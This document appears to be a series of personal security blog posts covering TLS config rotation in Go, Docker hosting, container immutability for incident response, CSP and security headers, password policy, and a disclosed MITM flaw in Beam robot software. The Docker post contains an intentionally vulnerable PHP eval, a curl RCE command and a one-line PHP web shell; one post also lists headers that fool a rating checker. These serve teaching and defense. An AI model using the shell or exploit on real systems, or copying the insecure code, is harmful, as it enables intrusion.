	conn = tls.Server(conn, config)

Why is this useful? In the previous solution we were only able to control which certificate was returned. This method now allows us to switch any parameter inside the config, enabling use-cases such as root CA rotation or dynamic selection of cipher suites.

Here is a silly example to show config rotations.

We have a simple server that rotates it's own TLS Config every second, not only renewing its certificate, but also switching between supporting TLS 1.2 only, or supporting anything above SSL3.0. On the client side, we will have a client that will only attempt to use TLS 1.0. Let's see what happens:

➜ openssl s_client -connect localhost:8080 -tls1
CONNECTED(00000003)
depth=0 /O=lJfunYUG8zk8c8Q9JeYALONSgHpUkPIdkwoBXU2bqfU=
...
➜ openssl s_client -connect localhost:8080 -tls1
CONNECTED(00000003)
17760:error:1409E0E5:SSL routines:SSL3_WRITE_BYTES:ssl handshake failure:/BuildRoot/Library/Caches/com.apple.xbs/Sources/OpenSSL098/OpenSSL098-64/src/ssl/s3_pkt.c:566:
➜  openssl s_client -connect localhost:8080 -tls1
CONNECTED(00000003)
depth=0 /O=Df0ksueEUr6-ka5Vz9HH8LILPA_Webim4kBa3rMroLM=
...

As expected, the first s_connect succeeds, the second one fails, and the third one again succeeds. The server will continue flipping the minimum allowed TLS version back and forth, and the client will continue to alternate between successfully creating a TLS 1.0 connection, and being rejected for not supporting TLS 1.2.

Certificate rotation in Docker Swarm

One of our objectives with Docker Swarm is to support transparent root rotation. The idea is to allow an administrator to force the whole cluster to migrate away from an old root CA transparently, removing its existence from the trust stores of all the nodes participating in the Swarm. This means that we need control over the whole TLS config, instead of controlling only which certificate is currently being served.

To slightly complicate matters, we have to rotate not only the server certificates, but also the client certificates being actively used for Mutually Authenticated TLS by every node.

Finally, Swarm also makes heavy use of gRPC, which is a a high-performance, open-source, universal RPC framework. Therefore, we will have to integrate our wrappedConfig style config rotation with the gRPC's authentication model.

It turns out that gRPC provides a simple authentication API that allows us to define custom methods for performing the client and server handshakes by simply implementing the TransportCredentials interface:

type TransportCredentials interface {
	ClientHandshake(context.Context, string, net.Conn) (net.Conn, AuthInfo, error)
	ServerHandshake(net.Conn) (net.Conn, AuthInfo, error)
	Info() ProtocolInfo
	Clone() TransportCredentials
	OverrideServerName(string) error
}

We chose to create a MutableTLSCreds struct, which implements this TransportCredentials interface and allows the caller to simply change the TLS Config by calling LoadNewTLSConfig.

// MutableTLSCreds is the credentials required for authenticating a connection using TLS.
type MutableTLSCreds struct {
	// Mutex for the tls config
	sync.Mutex
	// TLS configuration
	config *tls.Config
	// TLS Credentials
	tlsCreds credentials.TransportCredentials
	// store the subject for easy access
	subject pkix.Name
}

Note that we had to implement both ClientHandshake and ServerHandshake to support transparent rotation of both server and client connections. You can find the full implementation here.

Changes coming in Golang 1.8

If the previous method seems a bit clunky to you, it's because it is. Thankfully, Golang 1.8 is bringing some changes that will help simplify this use-case. In particular, the addition of GetConfigForClient will allow us to dynamically change the server's TLS Config behavior based on the ClientHello message.

Additionally, Golang 1.8 is also adding support for ChaCha20-Poly1305 based cipher suites and the VerifyPeerCertificate method, which enables custom certificate checking logic.

Conclusion

The ability of doing hitless TLS certificate rotation is critical to continue our quest of reducing certificate expiration times, while keeping our sanity intact.

Hopefully, at this point you'll agree with me that Golang makes it incredibly easy to support hitless TLS certificate rotation in your applications, so go forth and rotate all the keys.

A few months ago, I ran into a cool new product called hyper.sh, a Docker container hosting platform. The goal of hyper.sh is to make it easier to deploy your containerized applications to the cloud by replicating the Docker command-line experience.

Since I'm already running this blog inside of a container and the promise of Docker is to build once, run everywhere, I wanted to see how easy and how much cheaper it would be to migrate from a $5 Digital Ocean instance to hyper.sh.

Current Setup

I'm running my Ghost blog on a Ubuntu 16.04 $5 Digital Ocean droplet.

I use a local directory (/var/www/ghost) to keep my persistent data, and use the official ghost image directly, passing in NODE_ENV=production and forwarding port 80 to the internal port 2368.

➜  ~ docker run -d --name ghost-blog -v /var/www/ghost:/var/lib/ghost \
--restart always -e "NODE_ENV=production" \
-p 2368:2368 ghost

Migrating to Hyper.sh

The migration to hyper.sh was surprisingly straightforward.

• Create an account.
• Generate credentials on the web UI.
• Install hyper by doing brew install hyper.
• Configure hyper by running hyper config command and provide the API credentials.

At this point we have a working hyper.sh installation, and we're ready to run any container.

➜  hyper run -it alpine sh
Unable to find image 'alpine:latest' in the current region
latest: Pulling from library/alpine

3690ec4760f9: Pull complete
Digest: sha256:1354db23ff5478120c980eca1611a51c9f2b88b61f24283ee8200bf9a54f2e5c
Status: Downloaded newer image for alpine:latest

/ #

The next step was to migrate my current Ghost data. This turned out to also be surprisingly easy since hyper.sh supports uploading local files when creating a new volume on run.

When running a container with a volume that points to a local path, hyper.sh will automatically upload the data and create a new (10GB) volume for us. So all I had to do was download the current Ghost blog directory from my DO instance to my laptop, and do hyper run:

➜ scp -r ghost@ghost:/var/www/ghost/ ghost
➜ hyper run -v ./ghost_data:/var/lib/ghost alpine sh
Sending ghost_data 312 / 312 [=========================] 100.00% 27s
➜ hyper volume ls
DRIVER              VOLUME NAME                                                       SIZE                CONTAINER
hyper               794b1...a0f184   10 GB               66d5943a5ab1

With the data uploaded to the remote volume, we just have to run the Ghost blog with the same arguments we were using to run it before (inside of the DO droplet), except for -v that now needs the volume ID instead of the path to the data:

➜ hyper run -d --name ghost-blog -v 794b1...a0f184:/var/lib/ghost \ 
--restart always -e "NODE_ENV=production" -p 80:2368 ghost
➜ hyper logs -f ghost-blog

Ghost is running in production...
Your blog is now available on http://diogomonica.com
Ctrl+C to shut down

The final step we have to take is to get ourselves a publicly routable IP address, and attach it to our ghost-blog container. We can do that easily by running the hyper fip allocate and hyper fip attach commands:

➜ hyper hyper fip allocate 1
209.177.92.130
➜ hyper fip attach 209.177.92.130 ghost-blog
➜ ➜  ~ curl 209.177.92.130
<!DOCTYPE html>
<html>
<head>
...

Monthly cost

The pricing of hyper.sh is more complicated than the simple $5 a month for Digital Ocean. Here is a link to the pricing page.

They charge $5.18 for the default S4 container size (512MB of ram), $1 for the public IP address, and $0.1 for the first GB of image storage, bringing the TCO to $6.28.

What?

Yup. Turns out using the default container size for the blog would actually be more expensive than using the smallest Digital Ocean droplet. Fortunately hyper.sh has smaller sizes to offer:

You can change the container size by using the --size=SIZE option when doing hyper run. I wasn't able to make the S1 or S2 sizes work due memory constraints. The S3 size, however, worked great, bringing the total cost of running my blog down from $5 to $3.69. A whole dollar and 31 cents of savings per month!!

Conclusion

I was really impressed by how easy and seamless it was to migrate from DO to hyper.sh. I was expecting more than $1.31 of savings, but the fact that I no longer have to manage/update the underlying OS is the major advantage that hyper.sh is providing its users.

One neat thing about Docker containers is the fact that they are immutable. Docker ships with a copy-on-write filesystem, meaning that the base image cannot be modified, unless you explicitly issue a commit.

One of the reasons why this is so handy is that you get to check for drift really easily, and that might come in handy if are trying to investigate a security incident.

Demo application

Take the following demo infrastructure as an example:

We have a PHP application running on our Front-end, and a MySQL server acting as our backend database. You can follow along at home by running:

➜ docker run -d --name db -e MYSQL_ROOT_PASSWORD=insecurepwd mariadb
➜ docker run -d -p 80:80 --link db:db diogomonica/phphack

Now that you have your database and front-end running you should be greeted by something that looks like this:

Unfortunately, and not unlike every single other PHP application out there, this application has a remote code execution vulnerability:

if($links) {
<h3>Links found</h3>
... 
eval($_GET['shell']);
?>

It looks like someone is using eval where they shouldn't! Any attacker can exploit this vulnerability, and execute arbitrary commands on the remote host:

➜ curl -s http://localhost/\?shell\=system\("id"\)\; | grep "uid="
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The first action of any attacker on a recently compromised host is to make herself at home by downloading PHP shells and toolkits. Some attackers might even be inclined to redesign your website:

Recovering from the hack

Going back to immutability, one of the cool things that a copy-on-write filesystem provides is the ability to see all the changes that took place. By using the docker diff command, we can actually see what the attacker was up to in terms of file modifications:

➜ docker diff pensive_meitner
C /run
C /run/apache2
A /run/apache2/apache2.pid
C /run/lock
C /run/lock/apache2
C /var
C /var/www
C /var/www/html
C /var/www/html/index.html
A /var/www/html/shell.php

Interesting. It seems like the attacker not only modified our index.html, but also downloaded a php-shell, conveniently named shell.php. But our focus should be on getting the website back online.

We can store this image for later reference by doing a docker commit, and since containers are immutable (🎉), we can restart our container and we’re back in business:

➜ docker commit pensive_meitner
sha256:ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3
➜ docker kill pensive_meitner
➜ docker run -d -p 80:80 --link db:db diogomonica/phphack

We can now go back to the saved image and look at what the attacker modified:

➜ docker run -it ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3 sh
# cat index.html
<blink>HACKED BY SUPER ELITE GROUP OF HACKERS</blink>
# cat shell.php
<?php
eval($_GET['cmd']);
?>

It looks like we just got hacked by the famous SUPER ELITE GROUP OF HACKERS. ¯\(ツ)/¯

Increasing the attacker cost

Being able to see the changes in the container after an attack is certainly useful, but what if we could have avoided the attack in the first place? This is where --read-only comes in.

The --read-only flag instructs Docker to not allow any writes to the container’s file-system. This would have avoided any modifications to index.php, but more importantly, it would not have allowed the attacker to download the php shell, or any other useful tools the attacker might want to use.

Let’s try it out and see what happens:

➜ docker run -p 80:80 --link db:db -v /tmp/apache2:/var/run/apache2/ -v /tmp/apache:/var/lock/apache2/ --sig-proxy=false --read-only diogomonica/phphack
...
172.17.0.1 - - [04/Sep/2016:03:59:06 +0000] "GET / HTTP/1.1" 200 219518 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48"
sh: 1: cannot create index.html: Read-only file system

Given that our filesystem is now read-only, it seems that the attacker’s attempt to modify our index.html was foiled. 😎

Is this bullet-proof?

No, absolutely not. Until we fix this RCE vulnerability, the attacker will still be able to execute code on our host, steal our credentials, and exfiltrate the data in our database.

This said, together with running a minimal image, and some other really cool Docker security features, you can make it a lot harder for any attacker to maintain persistence and continue poking around your network.

Conclusion

The security of our applications will never be perfect, but having immutable infrastructure helps with incident response, allows fast-recovery, and makes the attacker’s jobs harder.

If by using a strong sandbox and tuning a few knobs you can make your application safer, why wouldn’t you? 🐳

When I added the Content-Security-Policy (CSP) security header to my website, I was more concerned about getting a good rating on securityheaders.io, than actually creating a good policy. In this post I'll show you how I created a new, better, CSP policy from scratch.

I'm going to assume some familiarity with the fundamentals of CSP. For a good introduction on CSP and the motivations behind it, read this article.

Starting a policy from scratch

CSP follows a whitelist model. If you include the header but don't include a specific directive, that is equivalent to specifying * as the valid source for that directive (i.e. everywhere). On the other hand, if you do include a directive, only the sources listed will be allowed.

There are a lot of directives that can be used to enforce policies for content types. You can see an exhaustive list of directives here. CSP also allows policies around particular circumstances, such as whether the browser should include referer headers when following links away from a page.

A good start for any CSP policy is the directive default-src 'none'. This directive does what you'd expect it to do: if a directive isn't explicitly set, it will default to this value.

Content-Security-Policy: default-src 'none'

Unfortunately, the directives in the following list don't use default-src as a fallback, which means that we will have to remember to set them explicitly, or they will default to allowing everything.

• frame-ancestors
• report-uri
• base-uri
• form-action
• sandbox

Adding some sane defaults

First, we will start by allowing the current origin (self) to load most resource types. Second, we're going to instruct the browser to block mixed content, explicitly enable reflected XSS protections, ensure we're not sending referrer headers when downgrading from HTTPS to HTTP (to avoid referrer leaks), and access every HTTP URL via HTTPS instead¹.

Content-Security-Policy: 
	default-src 'none'; 
	script-src 'self'; style-src 'self'; 
	img-src 'self'; font-src 'self'; 
	upgrade-insecure-requests; block-all-mixed-content; 
	reflected-xss block; referrer no-referrer-when-downgrade;

Note that, by leaving connect-src, media-src, object-src, and child-src out of this policy, we're effectively disallowing XMLHttpRequest, WebSockets, audio, video, Flash, and iframes from being used with this website. Change it accordingly.

Even though generating CSP policies manually is incredibly instructive, it is also very typo prone. Feel free to use a CSP headers generator to generate your base policy instead.

Testing the base policy

At this point we have a strong initial policy that will not allow loading anything external to your own domain. Instead of deploying it in enforce mode, which would most likely break your website, we can swap out Content-Security-Policy for Content-Security-Policy-Report-Only, and get a comprehensive list of everything that doesn't follow this base policy. This is a good way of finding the minimum set of necessary resources that we need to allow to enable enforce mode.

Some common exceptions you may have to add are going to be external resources, such as javascript, images and fonts. For example, in order to allow the embedding of slideshare decks (see image above), I added the following directive:

frame-src 'self' https://www.slideshare.net;

To allow loading google fonts and google analytics, I added:

script-src 'self' https://www.google-analytics.com/;
img-src 'self' https://www.google-analytics.com; 
style-src 'self' https://fonts.googleapis.com; 
font-src 'self' https://fonts.googleapis.com https://fonts.gstatic.com;

Note the change to img-src directive. Google analytics uses a tracking pixel, which is technically an image.

Inline Code

One of the reasons why CSP is such a big deal for web security is the fact that it can largely eliminate XSS attacks. It does so by not allowing inline script tags and javascript:// URLs. Unfortunately, developers use a lot of inline code. This is actually one of the most common roadblocks to creating a good CSP policy.

There is a directive value that was created specifically to work around this issue: unsafe-inline, but you should never use it. Instead, you should turn your inline javascript into an externally loaded script.

Reporting Policy Violations

One of the coolest directives of CSP is report-uri, which specifies the URL to which browsers should report violations of the Content Security Policy. You can deploy your own application to receive these reports, or use a free online version, like report-uri.io.

In my case, I signed up for report-uri.io, configured my domain to be diogomonica.com, and added the following line to my policy:

report-uri https://report-uri.io/report/59e303e8e117668e8e166508913a6d1d;

This will be my own, unique URL, which browsers will send JSON reports to, concerning any violations on diogomonica.com. This is what a violation would look like:

And the corresponding JSON:

{
    "csp-report": {
        "document-uri": "https://diogomonica.com/2015/12/29/from-double-f-to-double-a/",
        "referrer": "",
        "violated-directive": "img-src 'self' https://www.google-analytics.com",
        "effective-directive": "img-src",
        "original-policy": "default-src 'none'; script-src 'self' https://www.google-analytics.com/; img-src 'self' https://www.google-analytics.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; font-src 'self' https://fonts.googleapis.com https://fonts.gstatic.com; frame-src 'self' https://www.slideshare.net; upgrade-insecure-requests; block-all-mixed-content; reflected-xss block; referrer no-referrer-when-downgrade; frame-ancestors 'none'; base-uri diogomonica.com www.diogomonica.com; form-action 'none'; report-uri https://report-uri.io/report/59e303e8e117668e8e166508913a6d1d;",
        "blocked-uri": "data",
        "status-code": 0
    }
}

Adding the final directives

Remember the earlier directives that don't inherit the default behavior? Well, we should explicitly set those to some reasonable values.

• frame-ancestors specifies valid parents that may embed a page using frame and iframe elements.
• base-uri defines the URIs that a user agent may use as the document base URL.
• form-action specifies valid endpoints for form submissions.
• sandbox places restrictions on actions the page can take, instead of restricting resources it can load. It will be the topic of a future blog post.

This is my final policy:

Content-Security-Policy 
	"default-src 'none'; 
	script-src 'self' https://www.google-analytics.com/; 
	img-src 'self' https://www.google-analytics.com; 
	style-src 'self' https://fonts.googleapis.com; 
	font-src 'self' https://fonts.googleapis.com https://fonts.gstatic.com; 
	frame-src 'self' https://www.slideshare.net; 
	upgrade-insecure-requests; block-all-mixed-content; 
	reflected-xss block; referrer no-referrer-when-downgrade; 
	frame-ancestors 'none'; form-action 'none'; 
	base-uri diogomonica.com www.diogomonica.com;
	report-uri https://report-uri.io/report/59e303e8e117668e8e166508913a6d1d;"

At this point we can use the online CSP analyzer, to make sure we're green across the board.

Dealing with large CSP headers

Unfortunately, HTTP headers aren't compressed², which means that you will be injecting a potentially large CSP header into every HTTP response.

To avoid that, you can set some or all of your policies directly in the page markup. You do that by using the meta tag with an http-equiv attribute:

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'self' https://www.google-analytics.com/;"> 

There are three directives that can’t be set using meta tags: frame-ancestors, report-uri, and sandbox.

Another possible work-around is to take advantage of the conditional header injection features of your web server. If you're using nginx, you can create a map that will return different headers, based on the content-type of the page.

map $sent_http_content_type $csp_policies {
    "text/html"    "default-src 'none'; script-src 'self' https://www.google-analytics.com/; ...";
    default       "default-src 'none";
}

server {
    location / {
        add_header "Content-Security-Policy" $csp_policies;
    }
}

Conclusion

By designing your CSP policies from scratch, you can achieve a least-privilege CSP deployment, and create a policy that allows exactly what you need. No more, no less.

If you start by enabling CSP in Report-Only mode, you can start knocking off all the necessary exceptions, with the help of the Chrome Developer Console, and easily change it to enforce mode later on.

If you care about the security of your users, you should care about CSP.

1. The upgrade-insecure-requests and referrer policies are still a "Working draft". ↩
2. This might not be as big of a problem in the future, since both HTTP2 and SPDY support header compression. ↩

Even though diogomonica.com is a statically generated blog, created using Jekyll, it's always fun to run it through security evaluation websites such as SSL Labs and Security Headers.

Unfortunately, last week, when I ran it through securityheaders.io's checker, I got the following result:

This is obviously embarrassing for someone who works in security, and even though my blog has no need for advanced security headers, I decided to change that rating to an A+.

What are these headers?

Before we turn those red warning boxes into a more pleasant light green, let me give you a high-level overview of what these headers are, and why you should make sure to include them in your web properties.

• Content-Security-Policy (CSP): allows the website to define a policy concerning which domains external javascripts, css, images, etc, can be imported and rendered from. Prevents XSS and other cross-site injections.
• X-Content-Type-Options: prevents IE and Google Chrome from MIME-sniffing a response away from the declared content-type.
• X-Frame-Options: protects against clickjacking attacks.
• X-XSS-Protection: essentially useless; it comes enabled by default in modern browsers.
• Strict-Transport-Security (HSTS): tells your browser to always connect to a particular domain over HTTPS. Attackers aren't able to downgrade connections, and users can't ignore TLS warnings.
• Public-Key-Pins (HPKP): tells your browser to associate a specific public key fingerprint with a particular domain. Prevents against an attacker getting a valid certificate from one of the hundreds of other Certificate Authorities out there.

Fixing the easy ones

This is a lot less fun to do in a production setting, since changes like this have a tendency to break obscure corners of your application, but these headers are trivial to setup and will probably have minimal impact on your website.

Since I'm running nginx as my webserver, I'll have to add add_header directives to my configuration file:

add_header X-Frame-Options "SAMEORIGIN";
add_header X-Content-Type-Options nosniff;
add_header X-XSS-Protection "1; mode=block";

There isn't a lot to consider when choosing the arguments for these three headers, but if you want more information about them, make sure you consult the Mozilla Headers page.

Adding HSTS and CSP to the mix

If you deploy an over-aggressive CSP policy, browsers might disallow resources from being loaded and your website will break. If you deploy an HSTS policy and at a later time disable HTTPS on your website/application, users will temporarily be disallowed access to your website.

HSTS

Since I'm always going to run my website over TLS, I'm enabling HSTS with a max-age parameter of 7776000 (seconds). This will tell browsers that, for the next three months, they should only attempt accessing diogomonica.com over HTTPS:

add_header Strict-Transport-Security max-age=7776000;

Another important HSTS parameter is includeSubDomains, which I'm leaving disabled, since it's common for me to run non-https demo sites under *.diogomonica.com. You should enable it if you're sure every single sub-domain will always be using HTTPS.

CSP

CSP has two different modes of operation: enforce and report. If you use the Content-Security-Policy header, CSP will operate in enforce mode; if you use Content-Security-Policy-Report-Only it will operate in report mode.

CSP is pretty complex, and I recommend enabling it in report mode first, since it will allow you to understand the changes you need to make to enable enforcement later on. You should also read about the different CSP policy directives.

In my particular case, since no one will ever complain about my blog being broken, I jumped straight to enforce mode and, with the help of the Chrome Developer console, fixed the red-warnings one by one, resulting in this final policy:

add_header Content-Security-Policy "default-src 'self'; 
script-src 'self' 'unsafe-eval' https://ssl.google-analytics.com https://ajax.cloudflare.com; 
img-src 'self' https://ssl.google-analytics.com ; 
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; 
font-src 'self' https://fonts.googleapis.com https://fonts.gstatic.com; 
object-src 'none'";

This is the current rating on securityheaders.io, after restarting my nginx server:

Getting to A+ (enabling HPKP)

HPKP works by having the browser lookup the HPKP headers and check whether any of those pins match any of the SPKI fingerprints in the certificate chain. This means that you can use a pin from anywhere in the chain: from a leaf certificate all the way up to the root certificate.

Since the RFC states that you need to provide at least two pins, I created a new public/private key pair and stored it offline. After that, I got the SPKI fingerprint for both my keys. There are a few different ways to do it.

I got the fingerprint from my current certificate using the following openssl command:

root@burly:/etc/ssl# openssl x509 -in cloudflare-diogomonica.com.crt -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | base64
bDk6Wbfj83EpcaKgT5WkBfiiml66Tln3DskDJneGBoo=

HPKP is probably the most dangerous of all the security headers. Like HSTS, if something goes wrong (your private key gets compromised), users might be disallowed from accessing your website for the duration you specify in your max_age argument. Also, like CSP, HPKP actually comes with a Report-Only version, which allows you to test your pins, without risking downtime. I recommend this great blog post by Tim Taubert for more info on HPKP.

As I mentioned before, the lack of readership of this blog allows me to jump right into enforcement mode, adding this new header to my nginx config:

add_header Public-Key-Pins 'pin-sha256="bDk6Wbfj83EpcaKgT5WkBfiiml66Tln3DskDJneGBoo="; pin-sha256="E8WztKzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGWooE="; max-age=60';

I will point out that, even though I was being cavalier, I did set a max_age of 60 seconds for testing, allowing me to simply disable the header and wait a minute if I messed the PINs somehow.

If you want to reduce the risk of losing your keys or remove the need of having to deal with offline key-pairs, you can pin to a root CA. That will increase your surface of attack, but it will also make it easier to get a new valid certificate later. I would recommend pinning to Let's Encrypt, but be sure to read this before you do.

Just show me the screenshot!

After restarting nginx with all of our new headers, voilà, A+.

This sounds like a lot of work, can I cheat my way to A+?

Since securityheaders.io is only checking for the presence of the header (it doesn't even attempt to parse parameters), the answer is yes:

add_header Strict-Transport-Security max-age=0;
add_header X-Frame-Options "ANYTHINGREALLY";
add_header X-Content-Type-Options anythingreally;
add_header X-XSS-Protection "0";
add_header Content-Security-Policy "default-src *";
add_header Public-Key-Pins max-age=0;

What about getting an A+ on SSL Labs?

If you're ok with an A, use cloudflare. If you really want that A+, you can follow this post. Edit: @asaaki pointed out that you can also get an A+ on Cloudflare, as long as you have HSTS set to 180+ days.

Conclusion

With the exception of HPKP, which I wouldn't really recommend enabling unless you have a very mature SecOps team, all of these headers should be enabled on any production website you deploy.

Remember: it will be a lot easier to iterate on configuration changes if you're not currently serving any traffic, so do it sooner rather than later. :)

I’ve intentionally kept myself from commenting on Password Security in the wake of the last month’s mass iCloud account compromise. My feeling was that this topic had already been discussed to exhaustion, and there really was nothing new about the problem that was worth discussing.

However, as I read through the dozens of articles on how to choose a strong password, I realized that the majority of them are focused on trying to solve the wrong problem.

We should not be incentivizing people to choose passwords in the first place.

There are obviously a few situations where memorable passwords are a requirement, but if you write an article about choosing passwords where password managers aren't mentioned even once, you're not helping anyone.

In this post I’m going to make the following arguments:

• Choosing a password should be something you do very infrequently.
• Our focus should be on protecting passwords against informed statistical attacks and not brute-force attacks.
• When you do have to choose a password, one of the most important selection criterion should be how many other people have also chosen that same password.
• One of the most impactful things that we can do as a security community is to change password strength meters and disallow the use of common passwords.

Users should not be choosing passwords

Every time someone writes about the topic of passwords the XKCD comic shown above up makes an appearance.

The fact is that the number of passwords you should memorize is pretty small, and there is no need of teaching users how to choose good passwords. Everyone knows what a good password looks like, we just can't memorize unique, strong passwords, for every single on-line service out there.

With the advent of password managers, the large majority of all passwords should just be randomly generated, and replaced with a single password that provides access to all the others. This solves both the strength and memorability problems for 95% of your passwords¹.

The obvious exceptions to this rule are: the password manager's own vault key, laptop passwords, phone unlock codes, etc. Note, however, that this number of passwords is mostly static; it does not increase when you sign up for a new service.

Even if we entertained the XKCD comic and started training users to select four random words instead of a complex single-word password, I argue that it would not amount to a significant increase in security.

People are not very creative and tend to think the same way when choosing passwords. This would lead to the exact same problem we have now, where a few passwords such as "password123" become very common. What is there to prevent “letmeinfacebook” from being the new most common four word password for Facebook accounts?²

The Attacker Model is wrong

Bruteforcing passwords these days is hard. As a community we did a great job incentivizing the use of bcrypt and scrypt, and humiliating those who use bad password hashing mechanisms.

Unless your attacker model includes state actors, you really don’t have to be concerned about pure brute-force attacks. The most efficient attack against scrypt involves the compromise of your password hash and a lot of money spent on dedicated hardware to crack it offline, something the large majority of attackers does not have access to.

Without stealing the password hash, attackers are limited to trying username/password combinations over the internet, reducing the upper-bound of number of attempts per second by at least 3 orders of magnitude.

This means that we should stop blindly classifying password strength based on the number of bits of entropy³, and should consider first and foremost how dictionary-attack resistant the passwords is.

A better password validation criterion

Password validation heuristic rules, (e.g. minimum length, forceful use of alphanumeric characters, etc) are largely ineffective and are often counterproductive.

These heuristics are inadvertently leading users to the repeated use of very common solutions, which can be easily remembered, while still obeying the requirements. In fact, users typically circumvent the imposed pseudo-randomness by using a few common tricks ("p@ssw0rd" being a typical example), which are then used repeatedly.

This leads to the repeated use of what are, in fact, very weak passwords, highly vulnerable to statistical guessing attacks (a dictionary based attack ordered by decreasing probability of occurrence).

When coupled with the predominance of dictionary based attacks and leaks of large password data sets, this situation has led, in later years, to the idea that the single most useful criterion on which to classify the strength of a candidate password, is the frequency with which it has appeared in the past.

This means that instead of a password strength meter you should be ensuring that there is no skew in the distribution of passwords. If each password is guaranteed to be unique, the advantage of a statistical guessing attack is greatly reduced.

There are several works in the literature that propose such schemes, including one of my own (PDF).

What we should do

I think the first step is to stop propagating the idea that there is a way of choosing memorizable passwords that will keep attackers at bay. This means no more “How to choose your password” blogposts.

The second step is to start using the password strength forms to promote better password hygiene. I have seen a lot of stupid password strength forms, but I have never seen one that tells the user generate and store the password in a password manager.

Finally, we should be evaluating the strength of passwords based on the frequency of appearance of those passwords, and not merely based on heuristics and misguided entropy calculations.

Ultimately, Passwords should die

As a longer term strategy, we are moving to kill the use of passwords as the single authentication mechanism, and enforcing multi-factor authentication as the default everywhere.

For the time being, we should focus some of our efforts on providing passwords the essential Basic life support they need.

Conclusion

• Users don’t need password memorization schemes, they need to be incentivized to use a good password manager.
• For the few passwords they do need to memorize, you should focus on making them dictionary-attack resistant, not just strong from an information theory perspective.

1. Not derived from real data. ↩
2. If you analyze any of the large password leaks of the last few years you will notice that people tend to use the name of the service as part of their passwords. ↩
3. Obviously a decent minimum number of characters should still be enforced.↩

I first heard about MultiPath TCP (MPTCP) in 2007 when I met Olivier Bonaventure in Louvain-la-Neuve, Belgium.

In the meantime MPTCP has been gaining a ton of traction, from having Apple using it for Siri on iOS to large loadbalancer vendors like F5 supporting it and even large-scale media covering it's advantages.

If you want a primer on MPTCP you should check out the suprisingly readable RFC, or even this article by Olivier Bonaventure. There is also a ton of information on the Linux Kernel MultiPath TCP project multipath-tcp.org.

Anyway, the point of this post is to share a Security oriented presentation that I did on a MPTCP a while back. Enjoy.

The presentation

At work we bought a few telepresence robots from SuitableTech called Beam. The Beam robots allow anyone from a remote location to have face-to-face interaction with the people at our HQ.

Each Beam robot boasts two wide-angle HD cameras, a 6-microphone array that cancels echo and reduces background noise, a 17" screen, and a built-in speaker. It has a top speed of 3mph, and the battery lasts for 8 hours of active use.

The first thing that I thought when I used them the first time was how amazing the video/sounds quality was. The second was, can I hack it?

TL;DR: The beam client application didn't validate the remote server's certificate leading to the ability of an attacker stealing credentials by using a MITM attack. Get the PoC code here.

The perfect trojan-horse

What could be better than having an employee as an insider at a company? Having an insider robot, of course. Particularly one that has 2 HD cameras, a microphone and wheels to stroll around the office at 3am.

Each Beam is tied to an organization. To be able to control a Beam robot you have to use SuitableTech's client application and have been invited by the administrator the organization. You also have to create an account at suitabletech.com and use those credentials to login to the client app.

The client application

There were several different ways of trying to take control of the beams. I started by trying to understand how the beams were receiving the commands from the client application. It turns out, I didn't really have to go any further than that.

This is what the client application looks like:

By providing correct credentials you are then able to select one of the Beam robots available and start the remote control session.

Inspecting the network communication using wireshark, it becomes obvious that the authentication is being done via a TLS-encrypted XMPP connection.

The application communicates with two different remote-servers: xmpp.suitabletech.com and suitabletech.com. Initially, several plain-text XMPP messages are exchanged, but then the client sends a STARTTLS connection and after the TLS negotiation all data is sent encrypted. This seems like a solid design.

I ran the Beam application directly from the command-line and I got some very useful debugging information. Of particular relevance was this warning line:

WRN 17:36:28 talk/base/openssladapter.cc:867 Ignoring cert error while verifying cert chain

Ok, that seems bad. Let's see what google has to tell me in terms of where this error originates. I quickly find lines 851-855 of libjingle's openssladapter.cc:

// Should only be used for debugging and development.
if (!ok && stream->ignore_bad_cert()) {
  LOG(LS_WARNING) << "Ignoring cert error while verifying cert chain";
  ok = 1;
}

Wow. It seems that the Beam client application by default comes configured in debug mode and therefore it ignores the remote certificate validation. Neat.

With this in mind, I set out to understand how the XMPP protocol works, and exactly what a XMPP client expects of the server. By creating a simple Java application that proxies every connection that passes through it, printing out the messages from the client and the servers, and a little bit of DNS spoofing I was able to understand exactly what the Beam application and the Suitable Tech’s servers were exchanging right until the TLS tunnel is setup.

It turns out that the XMPP protocol supports dropping the authentication mechanism to plaintext, so I generated a new self-signed certificate for suitabletech.com and wrote a python script that emulates the server-side XMPP communication, conveniently asking the client to authenticate via the PLAIN mechanism.

I guess it's time to steal some passwords :).

As expected, and from what we were able to infer from the warning message on the console, the client is blindly accepting any certificate, happily providing the plain-text user’s credentials to our fake server.

Disclosure Timeline

The team at SuitableTech seems to be really awesome, and they were super quick to both confirm the vulnerability and to patch it.

• June 16th: Vulnerability Discovered

• June 18th: Initial Report finished

• June 18th: Report sent to SuitableTech

• June 18th: Vulnerability Confirmed by SuitableTech

• June 20th: New version of the Beam app (1.17.1) is published and email gets sent out to all Beam admins to update.

Conclusions and Future work

I had a lot of fun playing with the Beams. It turned out that compromising credentials from the client application was surprisingly easy, allowing arbitrary Beam control to any attacker capable of a MITM attack during login. In this particular case, the most damaging atack would be to cruise around the remote office and maybe steal a few secrets, but what if the Beam's had laser beams attached to their heads?

I still intend to try attack the Beams directly and see if I can get anything there, but as I mentioned before, the conceptual security model for the Beams seems to be pretty solid and I doubt I'm going to be able to find any other trivial issues like this.

This said, you never know ;).